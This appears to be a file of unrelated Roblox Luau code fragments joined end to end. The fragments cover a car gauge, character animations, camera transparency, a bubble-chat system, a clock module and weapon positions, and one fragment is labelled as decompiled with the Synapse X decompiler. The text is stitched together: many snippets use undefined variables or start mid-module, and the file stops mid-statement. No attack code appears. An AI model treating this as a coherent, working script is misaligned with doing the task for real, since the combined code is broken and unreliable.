local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 230 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 370 , spInc = 40 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 400 , spInc = 40 , -- Increment between labelled notches } }
-- Services
local inputService = game:GetService("UserInputService") local playerService = game:GetService("Players")
-- Preload animations
function playAnimation(animName, transitionTime, humanoid) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end --print(animName .. " " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end
--[[ Constants ]]
-- local ZERO_VECTOR3 = Vector3.new(0,0,0) local USE_STACKING_TRANSPARENCY = true -- Multiple items between the subject and camera get transparency values that add up to TARGET_TRANSPARENCY local TARGET_TRANSPARENCY = 0.75 -- Classic Invisicam's Value, also used by new invisicam for parts hit by head and torso rays local TARGET_TRANSPARENCY_PERIPHERAL = 0.5 -- Used by new SMART_CIRCLE mode for items not hit by head and torso rays local MODE = { --CUSTOM = 1, -- Retired, unused LIMBS = 2, -- Track limbs MOVEMENT = 3, -- Track movement CORNERS = 4, -- Char model corners CIRCLE1 = 5, -- Circle of casts around character CIRCLE2 = 6, -- Circle of casts around character, camera relative LIMBMOVE = 7, -- LIMBS mode + MOVEMENT mode SMART_CIRCLE = 8, -- More sample points on and around character CHAR_OUTLINE = 9, -- Dynamic outline around the character } local LIMB_TRACKING_SET = { -- Body parts common to R15 and R6 ['Head'] = true, -- Body parts unique to R6 ['Left Arm'] = true, ['Right Arm'] = true, ['Left Leg'] = true, ['Right Leg'] = true, -- Body parts unique to R15 ['LeftLowerArm'] = true, ['RightLowerArm'] = true, ['LeftUpperLeg'] = true, ['RightUpperLeg'] = true } local CORNER_FACTORS = { Vector3.new(1,1,-1), Vector3.new(1,-1,-1), Vector3.new(-1,-1,-1), Vector3.new(-1,1,-1) } local CIRCLE_CASTS = 10 local MOVE_CASTS = 3 local SMART_CIRCLE_CASTS = 24 local SMART_CIRCLE_INCREMENT = 2.0 * math.pi / SMART_CIRCLE_CASTS local CHAR_OUTLINE_CASTS = 24
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Gold",Paint) end)
--// Positioning
RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08); LeftArmPos = CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098); GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);
-- Decompiled with the Synapse X Luau decompiler.
local l__ReplicatedStorage__1 = game.ReplicatedStorage; function getLevel(p1) local v1 = 0; local l__Value__2 = l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value; local v3 = 0 - 1; while true do if 100 * v3 + v1 <= p1 then if v3 ~= l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value then else return v3; end; if p1 < 100 * v3 + v1 + (100 + 25 * v3) then return v3; end; end; v1 = v1 + v3 * 25; if 0 <= 1 then if v3 < l__Value__2 then else break; end; elseif l__Value__2 < v3 then else break; end; v3 = v3 + 1; end; end; local l__LocalPlayer__2 = game.Players.LocalPlayer; function GetFolderFromPetID(p2) for v7, v8 in pairs(l__LocalPlayer__2.Pets:GetChildren()) do if v8.PetID.Value == p2 then return v8; end; end; return nil; end; function getLayoutOrder(p3) local v9 = GetFolderFromPetID(p3); local l__Value__10 = l__ReplicatedStorage__1.Pets.Rarities:FindFirstChild(l__ReplicatedStorage__1.Pets.Models:FindFirstChild(v9.Name).Settings.Rarity.Value).Order.Value; local l__Value__11 = l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value; local v12 = getLevel(v9.TotalXP.Value); local v13 = {}; local v14 = 0; for v18, v19 in pairs(l__ReplicatedStorage__1.Pets.Models:GetChildren()) do v13[#v13 + 1] = v19; end; table.sort(v13, function(p4, p5) return p4:GetFullName() < p5:GetFullName(); end); for v24, v23 in pairs(v13) do if v9.Equipped.Value == true then if v9.Name == v23.Name then return l__Value__11 * #v13 * (#l__ReplicatedStorage__1.Pets.Rarities:GetChildren() - l__Value__10) + v14 * l__Value__11 + (l__Value__11 - v12); end; elseif v9.Name == v23.Name then return #v13 * #l__ReplicatedStorage__1.Pets.Rarities:GetChildren() * l__Value__11 + l__Value__11 * #v13 * (#l__ReplicatedStorage__1.Pets.Rarities:GetChildren() - l__Value__10) + v14 * l__Value__11 + (l__Value__11 - v12); end; v14 = v14 + 1; end; end; local l__Inventory__3 = script.Parent.Parent.Parent.Parent.MainFrame.Inventory; script.Parent.MouseButton1Click:Connect(function() local v25, v26 = l__ReplicatedStorage__1.RemoteEvents.PetActionRequest:InvokeServer("Delete", { PetID = script.Parent.Parent.Parent.PetID.Value }); if v25 ~= "Success" then if v25 == "Error" then print(v26); end; return; end; script.Parent.Parent.Visible = false; for v27, v28 in pairs(l__Inventory__3:GetChildren()) do if not v28:IsA("UIGridLayout") then v28.LayoutOrder = getLayoutOrder(v28.PetID.Value); end; end; end);
--Rear
rWheel.CustomPhysicalProperties = PhysicalProperties.new(_Tune.RWheelDensity,rWheel.CustomPhysicalProperties.Friction,rWheel.CustomPhysicalProperties.Elasticity,rWheel.CustomPhysicalProperties.FrictionWeight,rWheel.CustomPhysicalProperties.ElasticityWeight)
-- init chat bubble tables
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect) this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect) this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect) this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect) end initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15)) initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33)) function this:SanitizeChatLine(msg) if getMessageLength(msg) > MaxChatMessageLengthExclusive then local byteOffset = utf8.offset(msg, MaxChatMessageLengthExclusive + getMessageLength(ELIPSES) + 1) - 1 return string.sub(msg, 1, byteOffset) else return msg end end local function createBillboardInstance(adornee) local billboardGui = Instance.new("BillboardGui") billboardGui.Adornee = adornee billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, 1.5, 2) billboardGui.Parent = BubbleChatScreenGui local billboardFrame = Instance.new("Frame") billboardFrame.Name = "BillboardFrame" billboardFrame.Size = UDim2.new(1, 0, 1, 0) billboardFrame.Position = UDim2.new(0, 0, -0.5, 0) billboardFrame.BackgroundTransparency = 1 billboardFrame.Parent = billboardGui local billboardChildRemovedCon = nil billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function() if #billboardFrame:GetChildren() <= 1 then billboardChildRemovedCon:disconnect() billboardGui:Destroy() end end) this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame return billboardGui end function this:CreateBillboardGuiHelper(instance, onlyCharacter) if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then if not onlyCharacter then if instance:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(instance) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui return end end if instance:IsA("Model") then local head = instance:FindFirstChild("Head") if head and head:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(head) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui end end end end local function distanceToBubbleOrigin(origin) if not origin then return 100000 end return (origin.Position - (game.Workspace.CurrentCamera :: Camera).CoordinateFrame.Position).magnitude end local function isPartOfLocalPlayer(adornee) if adornee and PlayersService.LocalPlayer.Character then return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character) end end function this:SetBillboardLODNear(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = true end billboardGui.BillboardFrame.SmallTalkBubble.Visible = false end function this:SetBillboardLODDistant(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(4, 0, 3, 0) billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = false end billboardGui.BillboardFrame.SmallTalkBubble.Visible = true end function this:SetBillboardLODVeryFar(billboardGui) billboardGui.Enabled = false end function this:SetBillboardGuiLOD(billboardGui, origin) if not origin then return end if origin:IsA("Model") then local head = origin:FindFirstChild("Head") if not head then origin = origin.PrimaryPart else origin = head end end local bubbleDistance = distanceToBubbleOrigin(origin) if bubbleDistance < NEAR_BUBBLE_DISTANCE then this:SetBillboardLODNear(billboardGui) elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then this:SetBillboardLODDistant(billboardGui) else this:SetBillboardLODVeryFar(billboardGui) end end function this:CameraCFrameChanged() for index, value in pairs(this.CharacterSortedMsg:GetData()) do local playerBillboardGui = value["BillboardGui"] if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end end end function this:CreateBubbleText(message, shouldAutoLocalize) local bubbleText = Instance.new("TextLabel") bubbleText.Name = "BubbleText" bubbleText.BackgroundTransparency = 1 if UserFixBubbleChatText then bubbleText.Size = UDim2.fromScale(1, 1) else bubbleText.Position = UDim2.new(0, CHAT_BUBBLE_WIDTH_PADDING / 2, 0, 0) bubbleText.Size = UDim2.new(1, -CHAT_BUBBLE_WIDTH_PADDING, 1, 0) end bubbleText.Font = CHAT_BUBBLE_FONT bubbleText.ClipsDescendants = true bubbleText.TextWrapped = true bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE bubbleText.Text = message bubbleText.Visible = false bubbleText.AutoLocalize = shouldAutoLocalize if UserFixBubbleChatText then local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, CHAT_BUBBLE_PADDING) padding.PaddingRight = UDim.new(0, CHAT_BUBBLE_PADDING) padding.PaddingBottom = UDim.new(0, CHAT_BUBBLE_PADDING) padding.PaddingLeft = UDim.new(0, CHAT_BUBBLE_PADDING) padding.Parent = bubbleText end return bubbleText end function this:CreateSmallTalkBubble(chatBubbleType) local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone() smallTalkBubble.Name = "SmallTalkBubble" smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5) smallTalkBubble.Position = UDim2.new(0, 0, 0.5, 0) smallTalkBubble.Visible = false local text = this:CreateBubbleText("...") text.TextScaled = true text.TextWrapped = false text.Visible = true text.Parent = smallTalkBubble return smallTalkBubble end function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos) local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo local bubbleQueueSize = bubbleQueue:Size() local bubbleQueueData = bubbleQueue:GetData() if #bubbleQueueData <= 1 then return end for index = (#bubbleQueueData - 1), 1, -1 do local value = bubbleQueueData[index] local bubble = value.RenderBubble if not bubble then return end local bubblePos = bubbleQueueSize - index + 1 if bubblePos > 1 then local tail = bubble:FindFirstChild("ChatBubbleTail") if tail then tail:Destroy() end local bubbleText = bubble:FindFirstChild("BubbleText") if bubbleText then bubbleText.TextTransparency = 0.5 end end local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset, 1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT) bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true) currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT end end function this:DestroyBubble(bubbleQueue, bubbleToDestroy) if not bubbleQueue then return end if bubbleQueue:Empty() then return end local bubble = bubbleQueue:Front().RenderBubble if not bubble then bubbleQueue:PopFront() return end spawn(function() while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do wait() end bubble = bubbleQueue:Front().RenderBubble local timeBetween = 0 local bubbleText = bubble:FindFirstChild("BubbleText") local bubbleTail = bubble:FindFirstChild("ChatBubbleTail") while bubble and bubble.ImageTransparency < 1 do timeBetween = wait() if bubble then local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end end end if bubble then bubble:Destroy() bubbleQueue:PopFront() end end) end function this:CreateChatLineRender(instance, line, onlyCharacter, fifo, shouldAutoLocalize) if not instance then return end if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then this:CreateBillboardGuiHelper(instance, onlyCharacter) end local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"] if billboardGui then local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone() chatBubbleRender.Visible = false local bubbleText = this:CreateBubbleText(line.Message, shouldAutoLocalize) bubbleText.Parent = chatBubbleRender chatBubbleRender.Parent = billboardGui.BillboardFrame line.RenderBubble = chatBubbleRender local currentTextBounds = TextService:GetTextSize( bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT, Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT)) local numOflines = (currentTextBounds.Y / CHAT_BUBBLE_FONT_SIZE_INT) if UserFixBubbleChatText then -- Need to use math.ceil to round up on retina displays local width = math.ceil(currentTextBounds.X + CHAT_BUBBLE_PADDING * 2) local height = numOflines * CHAT_BUBBLE_LINE_HEIGHT -- prep chat bubble for tween chatBubbleRender.Size = UDim2.fromOffset(0, 0) chatBubbleRender.Position = UDim2.fromScale(0.5, 1) chatBubbleRender:TweenSizeAndPosition( UDim2.fromOffset(width, height), UDim2.new(0.5, -width / 2, 1, -height), Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true, function() bubbleText.Visible = true end ) -- todo: remove when over max bubbles this:SetBillboardGuiLOD(billboardGui, line.Origin) this:UpdateChatLinesForOrigin(line.Origin, -height) else local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING) / BILLBOARD_MAX_WIDTH, 0.1) -- prep chat bubble for tween chatBubbleRender.Size = UDim2.new(0, 0, 0, 0) chatBubbleRender.Position = UDim2.new(0.5, 0, 1, 0) local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY), UDim2.new( (1 - bubbleWidthScale) / 2, 0, 1, -newChatBubbleOffsetSizeY), Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true, function() bubbleText.Visible = true end) -- todo: remove when over max bubbles this:SetBillboardGuiLOD(billboardGui, line.Origin) this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY) end delay(line.BubbleDieDelay, function() this:DestroyBubble(fifo, chatBubbleRender) end) end end function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer) if not this:BubbleChatEnabled() then return end local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer local safeMessage = this:SanitizeChatLine(message) local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers) if sourcePlayer and line.Origin then local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo fifo:PushBack(line) --Game chat (badges) won't show up here this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo, false) end end function this:OnGameChatMessage(origin, message, color) -- Prevents conflicts with the new bubble chat if it is enabled if UserRoactBubbleChatBeta or (UserPreventOldBubbleChatOverlap and ChatService.BubbleChatEnabled) then return end local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin) local bubbleColor = BubbleColor.WHITE if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end local safeMessage = this:SanitizeChatLine(message) local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor) this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line) if UserShouldLocalizeGameChatBubble then this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, true) else this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, false) end end function this:BubbleChatEnabled() if UserRoactBubbleChatBeta or (UserPreventOldBubbleChatOverlap and ChatService.BubbleChatEnabled) then return false end local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) if chatSettings.BubbleChatEnabled ~= nil then return chatSettings.BubbleChatEnabled end end end return PlayersService.BubbleChat end function this:ShowOwnFilteredMessage() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) return chatSettings.ShowUserOwnFilteredMessage end end return false end function findPlayer(playerName) for i,v in pairs(PlayersService:GetPlayers()) do if v.Name == playerName then return v end end end ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end) local cameraChangedCon = nil if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):Connect(function(prop) this:CameraCFrameChanged() end) end game.Workspace.Changed:Connect(function(prop) if prop == "CurrentCamera" then if cameraChangedCon then cameraChangedCon:disconnect() end if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):Connect(function(prop) this:CameraCFrameChanged() end) end end end) local AllowedMessageTypes = nil function getAllowedMessageTypes() if AllowedMessageTypes then return AllowedMessageTypes end local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) if chatSettings.BubbleChatMessageTypes then AllowedMessageTypes = chatSettings.BubbleChatMessageTypes return AllowedMessageTypes end end local chatConstants = clientChatModules:FindFirstChild("ChatConstants") if chatConstants then chatConstants = require(chatConstants) AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper} end return AllowedMessageTypes end return {"Message", "Whisper"} end function checkAllowedMessageType(messageData) local allowedMessageTypes = getAllowedMessageTypes() for i = 1, #allowedMessageTypes do if allowedMessageTypes[i] == messageData.MessageType then return true end end return false end local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering") local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage") OnNewMessage.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then return end end this:OnPlayerChatMessage(sender, messageData.Message, nil) end) OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then return end this:OnPlayerChatMessage(sender, messageData.Message, nil) end)
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) if speed>0.01 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then stopAllAnimations() moveSit() return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
-- To adjust where your hat will be postioned on your head, go to the script line that says "h.AttachmentPos = Vector3.new(0,0,0) -- The first number in the (0,0,0) will make your hat go to the left, or to the right, making the number positive will make your hat be -- placed to the left, making it negative( ex. "-1") will make it be placed to the right. If your hat is pretty semetrical, you wont have to -- adjust the first number, it stays usually in the middle, a zero.
-- Called once when the realism client is starting. -- This is intended for compatibility with AeroGameFramework modules, -- but the function will automatically be called if executed from a LocalScript.
function CharacterRealism:Start() assert(not _G.DefineRealismClient, "Realism can only be started once on the client!") _G.DefineRealismClient = true for key, value in pairs(Config) do self[key] = value end for _,humanoid in pairs(CollectionService:GetTagged(self.BindTag)) do self:OnHumanoidAdded(humanoid) end self:Connect("UpdateLookAngles", RunService.Heartbeat) self:Connect("OnLookReceive", self.SetLookAngles.OnClientEvent) self:Connect("OnHumanoidAdded", CollectionService:GetInstanceAddedSignal(self.BindTag)) FpsCamera:Start() end if script:IsA("ModuleScript") then -- Return the system as a module table. return CharacterRealism else -- Sanity check assert(script:FindFirstAncestorOfClass("PlayerScripts"), "RealismClient must be a descendant of the PlayerScripts!") assert(Players.LocalPlayer, "RealismClient expects a Player on the client to automatically start execution!") -- Start automatically. CharacterRealism:Start() end
-- Allowed locations in the hierarchy (descendants of which are authorized)
Security.AllowedLocations = { Workspace };
------//High Ready Animations
self.RightHighReady = CFrame.new(-1, -.5, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0)); self.LeftHighReady = CFrame.new(.85,-0.35,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15));
-- If at 0, audio player will start right away because audio starts at 0 time position -- Open to alternatives
local startingTimePositionValue = 0 function Clock.new(timeId) local timePosition = Instance.new("NumberValue") -- Could this be slow, does that matter timePosition.Name = timeId timePosition.Parent = ReplicatedStorage local self = { initialTimePosition = startingTimePositionValue, initialClockTime = nil, timePosition = timePosition, timeKeepingConnection = nil, pauseTime = nil, } setmetatable(self, Clock) return self end function Clock:getCurrentTime() return os.clock() end function Clock:_keepTrackOfTime() self:_stopTrackingTime() self.initialClockTime = self:getCurrentTime() self.timeKeepingConnection = self.RunService.Heartbeat:Connect(function() if self.pauseTime then self.timePosition.Value = self.pauseTime else local differenceSinceCall = self:getCurrentTime() - self.initialClockTime self.timePosition.Value = differenceSinceCall + self.initialTimePosition end end) return end function Clock:Pause() self.pauseTime = self.timePosition.Value self.pausedAtTime = self:getCurrentTime() end function Clock:Unpause() self.pauseTime = nil self.pausedAtTime = self.pausedAtTime or 0 self.initialClockTime = self.initialClockTime + (self:getCurrentTime() - self.pausedAtTime) end function Clock:_stopTrackingTime() if self.timeKeepingConnection then self.timeKeepingConnection:Disconnect() self.timeKeepingConnection = nil end end function Clock:StartTime() -- TODO: use luke's coroutine wrap because of silencable errors coroutine.wrap(function() self:_keepTrackOfTime() end)() end function Clock:ResetTime() self:_stopTrackingTime() self.timePosition.Value = startingTimePositionValue self.initialTimePosition = startingTimePositionValue end function Clock:SetTime(timePositionValue) self:_stopTrackingTime() self.timePosition.Value = timePositionValue self.initialTimePosition = timePositionValue end return Clock
--// Modules
local L_9_ = require(L_5_:WaitForChild('Config'))
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult) v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10) end end for i=0,revEnd*2 do local ln = gauges.ln:clone() ln.Parent = gauges.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = gauges.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",gauges.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = gauges.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end local blns = Instance.new("Frame",gauges.Boost) blns.Name = "blns" blns.BackgroundTransparency = 1 blns.BorderSizePixel = 0 blns.Size = UDim2.new(0,0,0,0) for i=0,12 do local bln = gauges.bln:clone() bln.Parent = blns bln.Rotation = 45+270*(i/12) if i%2==0 then bln.Frame.Size = UDim2.new(0,2,0,7) bln.Frame.Position = UDim2.new(0,-1,0,40) else bln.Frame.Size = UDim2.new(0,3,0,5) end bln.Num:Destroy() bln.Visible=true end for i,v in pairs(UNITS) do local lnn = 